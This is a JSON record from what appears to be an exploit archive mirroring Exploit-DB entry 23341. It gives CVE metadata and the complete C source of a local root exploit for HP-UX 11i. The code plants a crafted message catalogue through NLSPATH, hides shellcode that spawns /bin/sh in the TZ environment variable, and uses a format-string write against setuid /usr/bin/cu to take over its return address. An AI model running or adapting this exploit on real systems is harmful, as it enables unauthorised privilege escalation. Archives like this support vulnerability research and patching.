{"exploit":{"id":"EDB-23341","name":"HP-UX 10/11 - NLSPATH Environment Variable Format String (1)","description":"HP-UX 10/11 - NLSPATH Environment Variable Format String (1)","cves":["CVE-2003-0090","CVE-2000-0844"],"author":"watercloud","published":"2003-04-01","platform":"hp-ux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23341","path":"exploits/hp-ux/local/23341.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23341.c","vulnerabilities":[{"id":"CVE-2003-0090","state":"REJECTED","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":"2003-11-21T10:00:00.000Z","retrievedAt":"2026-11-26T13:52:14.624Z","stale":false,"error":null},{"id":"CVE-2000-0844","state":"PUBLISHED","title":null,"titleSource":null,"description":"Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execute arbitrary commands via functions such as gettext and catopen.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-0844","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-0844"},"updatedAt":"2024-08-08T05:37:30.623Z","retrievedAt":"2026-11-27T12:07:39.756Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23341.png?v=2","url":"https://exploitbin.com/exploits/EDB-23341","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23341/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23341/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2003/https://www.securityfocus.com/bid/8985/info\n\nHP-UX allows the NLSPATH to be set for setuid root programs, which use catopen(3C) and may be executed by other local users. This could result in privilege escalation as an attacker could specify an arbitrary path for a message catalogue, which will be opened with elevated privileges.\n\n/*********************************************************************************************\n*  Name    : x_hpux_11i_nls_cu.c\n*  Usage   : cc x_hpux_11i_nls_cu.c -o x_cu ; ./x_cu\n*  Purpose :\n*    Get local rootshell from /usr/sbin/ping using HPUX location language format string bug.\n*  Author  : watercloud\n*  Date    : 2003-1-4\n*  Tested  : On HP-UX B11.11\n*  Note    : Use as your risk!\n*********************************************************************************************/\n#include<stdio.h>\n\n#define PATH \"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin\"\n#define TERM \"TERM=xterm\"\n#define NLSPATH \"NLSPATH=/tmp/.ex.cat\"\n\n#define CMD  \"/usr/bin/cu abc_ \"\n#define MSG \"\\$set 1\\n32 \"\n#define PRT_ARG_NUM 2    /* xprintf([x1],[x2],\"fm\" . .) x1 and x2 all exists eq 3  */\n#define STACK_LEN 0x1c0  /* The space of caller-fprintf to main function stack offset  */\n\n#define ENV_BEGIN 0x40   /* Our buffer put in TZ ENV's begin address */\n#define ENV_LEN   0x40   /* Our env len */\n#define LOW_STACK 0x210  /* Our's main stack begin addr, for all program because our env len :) */\n\nchar buffer[512];\nchar buff[72]=\n  \"\\x0b\\x5a\\x02\\x9a\\x34\\x16\\x03\\xe8\\x20\\x20\\x08\\x01\\xe4\\x20\\xe0\\x08\"\n  \"\\x96\\xd6\\x04\\x16\\xeb\\x5f\\x1f\\xfd\\x0b\\x39\\x02\\x99\\xb7\\x5a\\x40\\x22\"\n  \"\\x0f\\x40\\x12\\x0e\\x20\\x20\\x08\\x01\\xe4\\x20\\xe0\\x08\\xb4\\x16\\x70\\x16\"\n  \"/bin/shA\";\nint * pint = (int *) &buff[56];\nunsigned int haddr = 0;      /* heigh 16 bit of stack address    */\nunsigned int dstaddr = 0;    /* fprintf's return addr store here */\n\nint main(argc,argv,env)\nint argc;char ** argv;char **env;\n{\n\tunsigned int * pa = (unsigned int*)env;\n\tFILE * fp = NULL;\n\tint xnum = (LOW_STACK - ENV_BEGIN + STACK_LEN -56 -12 -36 -PRT_ARG_NUM*4)/4;  /* the number of %.8x */\n\tint alig1= ENV_BEGIN - xnum*8;\n\tint alig2=0;\n\tint i=0;\n\n\twhile(*pa != NULL)         /* clean all env */\n\t\t*pa++=0;\n\n\tif(strlen(CMD) >ENV_BEGIN-3)\n\t{\n\t\tprintf(\"No enough space to alig our env!\\n\");\n\t\texit(1);\n\t}\n\n\thaddr = (unsigned int)&fp & 0xffff0000;\n\tif(alig1 < 0)\n\t  alig1+=0x10000;\n\talig2 = (haddr >> 16) - alig1 -xnum*8 ;\n\tif(alig2 < 0)\n\t  alig2+=0x10000;\n\n\tdstaddr= haddr+ LOW_STACK + STACK_LEN -24;   /* fprintf's return addr stored here */\n\t*pint++=dstaddr;\n\t*pint++=dstaddr;\n\t*pint++=dstaddr;\n\t*pint = 0;\n\n\t/* begin to make our .cat file */\n\tfp = fopen(\"/tmp/.ex.k\",\"w\");\n\tif(fp == NULL)\n\t{\n\t  printf(\"open file : /tmp/.ex.k for write error.\\n\");\n\t  exit(1);\n\t}\n\tfprintf(fp,\"%s\",MSG);\n\tfor(;i<xnum;i++)\n\t  fprintf(fp,\"%%.8x\");\n\tfprintf(fp,\"%%.%ix%%n\",alig1);\n\tfprintf(fp,\"%%.%ix%%hn\",alig2);\n\tfclose(fp);\n\tfp = NULL;\n\tsystem(\"/usr/bin/gencat /tmp/.ex.cat /tmp/.ex.k\");\n\tunlink(\"/tmp/.ex.k\");\n\t/* end make our .cat file */\n\n\t/* put our env,store our shellcode and address info . . . and so on */\n\tsprintf(buffer,\"TZ=%*s%s%*s\",ENV_BEGIN-3-strlen(CMD),\"A\",buff,ENV_BEGIN+ENV_LEN-strlen(buff),\"B\");\n\tputenv(buffer);\n\tputenv(PATH);\n\tputenv(TERM);\n\tputenv(NLSPATH);\n\n\tprintf(\"�ǵ�ɾ�������ʱ�ļ�(Remember to delete the  file): /tmp/.ex.cat .\\n\");\n\texecl(\"/usr/bin/cu\",\"/usr/bin/cu\",\"abc_\",0);   /* ��Ϸ��ʼ�� ����  */\n}","sha256":"4d4cce5f1e99f202b791163f5b584b62008861ce9205ee10df3eb92b678e57a4","bytes":3479,"fetchedAt":"2026-11-27T12:07:39.390Z","encoding":"utf-8 (display only; download retains original bytes)"}